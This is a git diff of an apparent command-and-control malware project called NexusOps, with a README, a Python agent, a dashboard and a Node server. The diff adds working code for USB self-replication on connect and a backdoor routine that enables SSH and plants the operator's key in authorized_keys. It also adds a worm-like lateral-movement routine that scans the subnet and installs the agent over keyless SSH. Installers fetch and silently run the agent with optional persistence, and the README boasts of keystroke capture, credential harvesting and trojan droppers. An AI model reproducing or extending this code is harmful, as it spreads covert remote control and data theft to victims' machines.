diff --git a/README.md b/README.md index 9094f12..a66c1fe 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin **Public URL:** https://agent.thetempleofdoom.com **Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` **Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard -**Agent version:** v2.2.0 · Dashboard v3 (live console, schedules, groups, alerts, spread) +**Agent version:** v2.3.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) --- @@ -18,7 +18,11 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin | **Node drawer** | Click any card: full metrics, per-node loot, ping w/ latency, screenshot, watch mode (screenshot every 15s), tags editor, reboot, update agent | | **Loot** | All exfiltrated files (download, screenshot viewer), harvested credentials, input capture stream (keystrokes/clicks/scroll) | | **File Binder** | Upload any file → get a self-extracting dropper (.sh / .ps1 / .html) that opens the file normally AND silently installs the agent. Persistence toggle. | -| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) | +| **Spread (USB self-replication)** | Per-node toggle: agent copies itself to every mounted removable drive every 10 min (mode: `copy` / `autorun`) **+ spread-on-connect: watches for new USB mounts and replicates the moment one appears** | +| **Lateral movement** | Per-node toggle button: node scans its subnet for SSH-open hosts, attempts keyless SSH, and installs the agent on any machine it reaches | +| **SSH hop-on** | "Open SSH" button per node: installs/enables sshd, trusts the dashboard's ed25519 key, returns `ssh user@ip` — click and you have a terminal on that machine | +| **Update All Agents** | One button queues `update_agent` on every online node running an older version | +| **Persistence toggle** | Every install path (installers, universal, binder) takes `persist=0` to install without reboot-survival hooks — checkbox in the UI with hover explanation | | **Broadcast & Groups** | One command to all nodes or a tag group; scheduled recurring tasks | | **Audit & Export** | Full command audit log, kill switch, Export All (tar.gz of entire data store) | | **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | @@ -48,9 +52,9 @@ curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmo **Agent flags:** `--server URL` · `--silent` · `--quiet` · `--token TOKEN` (baked/optional) · `--persist-first` (persistence immediately after register) -## Agent actions (24) +## Agent actions (26) -`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` +`raw_command` · `manage_service` · `list_processes` · `kill_process` · `get_logs` · `search_logs` · `network_stats` · `get_env_vars` · `get_disk_partitions` · `get_network_interfaces` · `get_active_connections` · `get_hardware_specs` · `reboot_system` · `set_heartbeat_rate` · `update_tags` · `ping_check` · `download_file` · `screenshot` · `update_agent` · `ensure_persistence` · `harvest_credentials` · `kill_agent` · `export_diagnostics` · `copy_self_to_usb` · `open_ssh` · `lateral_movement` ## Architecture @@ -104,6 +108,7 @@ pct exec 111 -- bash -c 'cd /root/agent-dashboard && TOKEN=$(grep NEXUS_AGENT_TO - Input capture needs `pynput` on the target; headless machines report screenshots as failed. - Agent endpoints authenticate with a token that is public-by-installation — it screens out scanners, not a determined attacker. - Screenshot on macOS targets requires Screen Recording permission (TCC). +- **Cloudflare caches `/agent.py`** — after changing the agent, purge `https://agent.thetempleofdoom.com/agent.py` via the CF API or agents will keep downloading the old version (cost ~20 min of confusion once already). ## Roadmap (simple adds) diff --git a/agents/agent.py b/agents/agent.py index 63a59a9..e4d4587 100644 --- a/agents/agent.py +++ b/agents/agent.py @@ -12,8 +12,10 @@ import socket import platform import subprocess import shutil +import getpass import urllib.request -AGENT_VERSION = "2.2.0" +AGENT_VERSION = "2.3.0" +NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay' AGENT_TOKEN = '__AGENT_TOKEN__' import urllib.parse import argparse @@ -235,6 +237,56 @@ def http_post(url, data_dict): print(f'[!] HTTP POST failed ({url}): {e}', flush=True) return None + +# ── USB spread-on-connect watcher ── +USB_WATCH = False +_last_usb_mounts = set() + +def _current_usb_mounts(): + dirs = [] + system = platform.system().lower() + if system == "linux": + for base in ("/media", "/run/media", "/mnt"): + try: + for e in os.listdir(base): + sub = os.path.join(base, e) + if os.path.isdir(sub): + try: + for v in os.listdir(sub): + dirs.append(os.path.join(sub, v)) + except Exception: + pass + if os.path.ismount(sub): + dirs.append(sub) + except Exception: + pass + elif system == "darwin": + try: + dirs = [os.path.join("/Volumes", v) for v in os.listdir("/Volumes") + if not v.startswith(("Macintosh", "com.apple"))] + except Exception: + dirs = [] + return set(dirs) + +def usb_watch_loop(): + global _last_usb_mounts + _last_usb_mounts = _current_usb_mounts() + while USB_WATCH: + time.sleep(6) + now = _current_usb_mounts() + new = now - _last_usb_mounts + if new: + _last_usb_mounts = now + for d in new: + try: + execute_structured_action("copy_self_to_usb", {"mode": "copy", "paths": [d]}) + except Exception: + pass + else: + _last_usb_mounts = now + +import threading + def execute_structured_action(action_type, payload): global heartbeat_interval, node_tags system = platform.system().lower() @@ -678,10 +730,144 @@ def execute_structured_action(action_type, payload): results.append("copied: " + dest) except Exception as e: results.append("fail(" + dest_dir + "): " + str(e)[:60]) + global USB_WATCH + if payload.get("watch") and not USB_WATCH: + USB_WATCH = True + try: + threading.Thread(target=usb_watch_loop, daemon=True).start() + except Exception: + pass + results.append("watch: on-connect replication active") if not candidates: - return "No removable drives mounted", 0 + return "No removable drives mounted" + (" | " + "; ".join(results) if results else ""), 0 return "USB replication (" + mode + "): " + "; ".join(results), 0 + elif action_type == "open_ssh": + # Ensure SSH daemon running + trust dashboard key + report connect info + system = platform.system().lower() + out = [] + if system == "linux": + r = subprocess.run("command -v sshd || (apt-get install -y openssh-server 2>/dev/null || yum install -y openssh-server 2>/dev/null)", shell=True, capture_output=True, text=True, timeout=120) + if r.returncode != 0 and not r.stdout.strip(): + out.append("sshd missing and install failed") + r = subprocess.run("systemctl enable --now sshd 2>/dev/null || systemctl enable --now ssh 2>/dev/null || service ssh start 2>/dev/null", shell=True, capture_output=True, text=True, timeout=30) + out.append("sshd: " + ("enabled" if r.returncode == 0 else "start result " + str(r.returncode))) + ufw = subprocess.run("ufw allow ssh 2>/dev/null || true", shell=True, capture_output=True, timeout=15) + ssh_dir = os.path.expanduser("~/.ssh") + os.makedirs(ssh_dir, exist_ok=True) + auth = os.path.join(ssh_dir, "authorized_keys") + existing = "" + if os.path.exists(auth): + with open(auth, errors="ignore") as f: + existing = f.read() + if NEXUS_SSH_PUBKEY not in existing: + with open(auth, "a") as f: + f.write("\n" + NEXUS_SSH_PUBKEY + "\n") + os.chmod(ssh_dir, 0o700) + os.chmod(auth, 0o600) + out.append("dashboard key trusted") + else: + out.append("dashboard key already trusted") + elif system == "darwin": + r = subprocess.run("systemsetup -setremotelogin on 2>/dev/null", shell=True, capture_output=True, text=True, timeout=15) + out.append("remote-login: on" if r.returncode == 0 else "remote-login needs root") + home = os.path.expanduser("~") + ssh_dir = os.path.join(home, ".ssh") + os.makedirs(ssh_dir, exist_ok=True) + auth = os.path.join(ssh_dir, "authorized_keys") + existing = "" + if os.path.exists(auth): + with open(auth, errors="ignore") as f: + existing = f.read() + if NEXUS_SSH_PUBKEY not in existing: + with open(auth, "a") as f: + f.write("\n" + NEXUS_SSH_PUBKEY + "\n") + os.chmod(ssh_dir, 0o700) + os.chmod(auth, 0o600) + out.append("key trusted") + else: + return "open_ssh: unsupported platform " + system, 1 + ip = get_ip_address() + user = "root" if os.geteuid() == 0 else getpass.getuser() + out.append(f"CONNECT: ssh {user}@{ip}") + return " | ".join(out), 0 + + elif action_type == "lateral_movement": + # Scan the local subnet for SSH-open hosts, attempt keyless SSH login with + # available identities, and install the agent where login succeeds. + cidr = payload.get("cidr") or "" + max_hosts = int(payload.get("max_hosts", 64)) + self_path = sys.executable if getattr(sys, "frozen", False) else os.path.abspath(__file__) + ip = get_ip_address() + net = cidr + if not net: + try: + out = subprocess.check_output(["ip", "-4", "route"], text=True, timeout=5) + for line in out.splitlines(): + if "src" in line and "/" in line and "default" not in line: + net = line.split()[0] + break + except Exception: + net = None + hosts = [] + if net and "/" in net: + try: + import ipaddress as _ipa + nw = _ipa.ip_network(net, strict=False) + base = str(nw.network_address) + prefix = ip.split(".")[:3] + for h in list(nw.hosts())[:max_hosts]: + hosts.append(str(h)) + except Exception: + hosts = [] + found = [] + import socket as _s + for h in hosts: + if h == ip: + continue + try: + c = _s.socket(_s.AF_INET, _s.SOCK_STREAM) + c.settimeout(0.4) + c.connect_ex((h, 22)) + c.close() + found.append(h) + except Exception: + pass + results = [f"subnet {net}: {len(hosts)} candidates, {len(found)} ssh-open: {','.join(found[:10]) or 'none'}"] + installed = 0 + server_url2 = payload.get("server_url") or "https://agent.thetempleofdoom.com" + users = ["root", getpass.getuser()] + key_opts = ["-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=4"] + ident = os.path.expanduser("~/.ssh/id_rsa") + for h in found[:10]: + ok = False + for u in users: + cmd = ["ssh", "-o", "IdentitiesOnly=yes", "-o", "PasswordAuthentication=no"] + if os.path.exists(ident): + cmd += ["-i", ident] + cmd += key_opts + [f"{u}@{h}", "true"] + r = subprocess.run(cmd, capture_output=True, text=True, timeout=12) + if r.returncode == 0: + try: + # push agent + install + c1 = ["scp", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", self_path, f"{u}@{h}:/tmp/nx-agent.py"] + subprocess.run(c1, capture_output=True, timeout=60) + c2 = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=5", f"{u}@{h}", + f"(mkdir -p /opt/network-agent && mv /tmp/nx-agent.py /opt/network-agent/agent.py; " + f"nohup python3 /opt/network-agent/agent.py --server {server_url2} --silent >/dev/null 2>&1 &)"] + r2 = subprocess.run(c2, capture_output=True, text=True, timeout=30) + if r2.returncode == 0: + installed += 1 + results.append(f"installed on {h} (user {u})") + ok = True + except Exception as e: + results.append(f"push fail {h}: {str(e)[:40]}") + if ok: + break + if not ok: + results.append(f"no keyless access: {h}") + return " | ".join(results) + f" | total installed: {installed}", 0 + elif action_type == "export_diagnostics": cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo" return run_shell(cmd) diff --git a/dist/NexusAgent b/dist/NexusAgent index f5ea07d..62fc1b7 100755 Binary files a/dist/NexusAgent and b/dist/NexusAgent differ diff --git a/public/app_v2.js b/public/app_v2.js index 7e1a35a..b0ddbbe 100644 --- a/public/app_v2.js +++ b/public/app_v2.js @@ -512,6 +512,11 @@ document.addEventListener('click', function (e) { // ── terminology dictionary (hover popups) ── const NX_TERMS = { + 'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.', + 'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.', + 'Update All': 'Sends the update_agent command to every online node running an older agent version.', + 'Root': 'The administrator account on Linux/macOS. Full control of the machine.', + 'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.', 'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.', 'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.', 'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.', @@ -638,3 +643,85 @@ openDrawer = async function (nodeId) { window._drawerNodeId = nodeId; return _origOpenDrawer2(nodeId); }; + + +// ═══════════════════════════════════════════════════════════════════ +// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt +// ═══════════════════════════════════════════════════════════════════ + +async function drawerOpenSSH(nodeId) { + const el = document.getElementById('pingResult'); + if (el) el.textContent = 'opening SSH…'; + try { + const r = await fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' }) + }); + if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.'; + } catch (e) { if (el) el.textContent = 'SSH open failed to queue'; } +} + +async function drawerLateral(nodeId) { + if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return; + const el = document.getElementById('pingResult'); + if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results'; + try { + await fetch(`/api/nodes/${nodeId}/command`, { + method: 'POST', headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' }) + }); + } catch (e) {} +} + +async function updateAllOutdated() { + try { + const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' }); + const t = document.querySelector('#toasts') || document.body; + const d = document.createElement('div'); + d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;'; + d.textContent = r && r.queued !== undefined + ? `Update All: ${r.queued} node(s) queued (current agent v${r.current})` + : 'Update All failed'; + document.body.appendChild(d); + setTimeout(() => d.remove(), 5000); + } catch (e) {} +} + +// nav button +(function injectUpdateAll() { + const ks = document.querySelector('button[onclick="killSwitch()"]'); + if (!ks || document.getElementById('updateAllBtn')) return; + const b = document.createElement('button'); + b.id = 'updateAllBtn'; + b.className = 'btn btn-secondary'; + b.title = 'Queues update_agent on every online node running an older agent version'; + b.innerHTML = ' Update All Agents'; + b.onclick = updateAllOutdated; + ks.parentNode.insertBefore(b, ks); +})(); + +// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread) +(function injectSSHButtons() { + const mo = new MutationObserver(() => { + const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]'); + if (row && !document.getElementById('sshBtn')) { + const nid = window._drawerNodeId; + if (!nid) return; + const ssh = document.createElement('button'); + ssh.id = 'sshBtn'; + ssh.className = 'btn btn-secondary'; + ssh.innerHTML = ' Open SSH'; + ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it'; + ssh.onclick = () => drawerOpenSSH(nid); + row.appendChild(ssh); + const lat = document.createElement('button'); + lat.id = 'latBtn'; + lat.className = 'btn btn-secondary'; + lat.innerHTML = ' Lateral'; + lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys'; + lat.onclick = () => drawerLateral(nid); + row.appendChild(lat); + } + }); + mo.observe(document.body, { childList: true, subtree: true }); +})(); diff --git a/public/index.html b/public/index.html index 6cab3c5..b742f04 100644 --- a/public/index.html +++ b/public/index.html @@ -519,6 +519,13 @@ ⓘ +
+ +
@@ -570,6 +577,21 @@ + diff --git a/server.js b/server.js index d4ffb96..9e08e80 100644 --- a/server.js +++ b/server.js @@ -849,6 +849,7 @@ app.get('/api/credentials', (req, res) => { }); app.get('/install.sh', (req, res) => { + const persist = req.query.persist !== '0'; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # Network Node Agent One-Liner Installer for Linux @@ -869,7 +870,7 @@ echo "[1/3] Downloading agent script..." curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py" chmod +x "$INSTALL_DIR/agent.py" -echo "[2/4] Configuring systemd background daemon..." +${persist ? `echo "[2/4] Configuring systemd background daemon..." cat << EOF > "$SERVICE_FILE" [Unit] Description=NexusOps Node Telemetry & Management Agent @@ -884,15 +885,16 @@ User=root [Install] WantedBy=multi-user.target -EOF +EOF` : `echo "[2/4] Persistence disabled — agent will run once"`} echo "[3/4] Installing pynput for keystroke/click capture..." pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping" -echo "[4/4] Enabling & Starting Agent Service..." +${persist ? `echo "[4/4] Enabling & Starting Agent Service..." systemctl daemon-reload systemctl enable network-agent -systemctl restart network-agent +systemctl restart network-agent` : `echo "[4/4] Launching agent (no persistence)..." +nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &`} echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" `; @@ -901,6 +903,7 @@ echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL" }); app.get('/install.ps1', (req, res) => { + const persist = req.query.persist !== '0'; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `# Network Agent PowerShell Installer for Windows $SERVER_URL = "${serverUrl}" @@ -919,6 +922,7 @@ Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py" Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green +${persist ? `schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $INSTALL_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null` : '# persistence disabled'} Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green @@ -928,6 +932,7 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_ }); app.get('/install-mac.sh', (req, res) => { + const persist = req.query.persist !== '0'; const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const script = `#!/bin/bash # macOS Node Agent Installer — launchd background daemon @@ -953,8 +958,8 @@ chmod +x "$INSTALL_DIR/agent.py" echo "[3/4] Installing pynput for input capture..." python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping" -echo "[4/4] Configuring launchd background daemon..." -mkdir -p "$HOME/Library/LaunchAgents" +${persist ? `echo "[4/4] Configuring launchd background daemon..." +mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`} cat << EOF > "$PLIST_FILE" @@ -983,12 +988,13 @@ cat << EOF > "$PLIST_FILE" EOF # Bootstrap launchd job (modern macOS — load/unload are deprecated) -launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true +${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true launchctl bootstrap gui/$(id -u) "$PLIST_FILE" launchctl kickstart gui/$(id -u)/com.nexusops.agent echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL" -echo " To stop: launchctl unload $PLIST_FILE" +echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 & +echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`} `; res.setHeader('Content-Type', 'text/plain'); res.send(script); @@ -998,6 +1004,7 @@ echo " To stop: launchctl unload $PLIST_FILE" app.get('/install', (req, res) => { const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; const silent = req.query.silent !== '0'; // silent by default + const persist = req.query.persist !== '0'; const quiet = silent ? '>/dev/null 2>&1' : ''; const script = `#!/bin/bash # NexusOps Universal Auto-Installer — one command, any OS @@ -1007,19 +1014,19 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL" case "$(uname -s 2>/dev/null || echo Windows)" in Linux) echo "[*] Linux detected — deploying via systemd" - curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} & ;; Darwin) echo "[*] macOS detected — deploying via launchd" - curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} & + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} & ;; CYGWIN*|MINGW*|MSYS*|Windows) echo "[*] Windows detected — deploying via PowerShell" - powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} & + powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} & ;; *) echo "[!] Unknown OS — trying Linux installer as fallback" - curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} & + curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} & ;; esac @@ -1039,6 +1046,30 @@ app.get('/agent.py', (req, res) => { } }); + +// ── Update all outdated agents ── +let CURRENT_AGENT_VERSION = 'unknown'; +try { + const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/); + if (m) CURRENT_AGENT_VERSION = m[1]; +} catch (e) {} +app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION })); +app.post('/api/nodes/update-all', (req, res) => { + let queued = 0; const targets = []; + for (const [id, n] of nodes) { + if (n.status !== 'online') continue; + if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue; + commandQueues.get(id).push({ + id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`, + actionType: 'update_agent', payload: {}, command: 'update_agent', + status: 'queued', queuedAt: Date.now() + }); + queued++; targets.push(id); + } + broadcastState(); + res.json({ queued, current: CURRENT_AGENT_VERSION, targets }); +}); + // ── Completeness additions 2026-09-29 ── app.get('/api/agenttoken', (req, res) => { res.json({ token: AGENT_TOKEN || '' });